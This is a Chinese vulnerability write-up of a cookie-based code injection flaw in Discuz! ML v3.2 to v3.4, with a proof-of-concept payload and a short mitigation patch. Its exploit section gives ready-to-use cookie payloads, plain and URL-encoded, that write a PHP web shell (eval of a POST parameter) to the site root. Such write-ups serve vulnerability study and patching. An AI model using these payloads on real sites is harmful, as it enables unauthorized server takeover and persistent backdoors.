[漏洞案例]Discuz ML! V3.X 代码注入漏洞
0x00 前言
Discuz！ML是一个由CodersClub.org创建的多语言，集成，功能齐全的开源网络平台，用于构建像“社交网络”这样的互联网社区。
该引擎基于Comsenz Inc.创建的着名的Discuz！X引擎开发。
0x01 漏洞描述
1.1 简单描述
2019年7月11日， Discuz！ML被发现存在一处远程代码执行漏洞，攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload，进行远程代码执行利用，该漏洞利用方式简单，危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤，直接被拼接写入缓存文件之中，而缓存文件随后又被加载，从而造成代码执行
简而言之，如下图流程可以简单的理解该漏洞
首先，通过cookie传入payload，构造好的payload被写入template文件中:
接着，这个被插入payload的template.php文件被include，造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
0x02 漏洞分析
详情请见：http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/
0x03 漏洞演示
3.1 环境搭建
官网下载：http://discuz.ml/download
解压后将upload所有内容放到网站目录，访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中，可将漏洞信息总结如下：外部参数$lng(即language语言)可控，导致template 函数生成的临时模板文件名可操纵，插入自己的代码，最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中，都存在此类的代码注入点。
3.3 漏洞测试演示
注：在此我将用论坛的主页面（index.php），作为漏洞的演示：
首先看首页里的cookis值中就包含我们想要的language参数：
动手构造我们的POC(测试代码)：在26D7_2132_language=sc后面添加以下内容：
'.phpinfo().'
成功返回phpinfo()响应，证明此系统存在代码注入漏洞！
3.4 漏洞执行演示
EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号，其中有可能会出现语法错误，所以这里采用URL编码格式，最后再解过来就没问题了)
EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
（2）修改cookie中的xxx_language值为exp内容：这里加上exp后，主页返回正常
（3）在主页中进行代码注入，则上传的shell.php在网站根目录下：
（4）看看效果：满分
漏洞修复
VulkeyChen师傅的建议：单看语言这个点，在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题：
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
参考链接
1.http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/
2.https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w
3.https://mp.weixin.qq.com/s?__biz=Mzg4NzI0MDMwMQ==&mid=2247483730&idx=1&sn=79706db47b39bd4e36d9cbe2c7bde301&chksm=cf8c2250f8fbab463558ece653ed8c413c0eb8f3dfdac13de9f4e9bad40c20ef87b0c2f90e7b&mpshare=1&scene=23&srcid=#rd
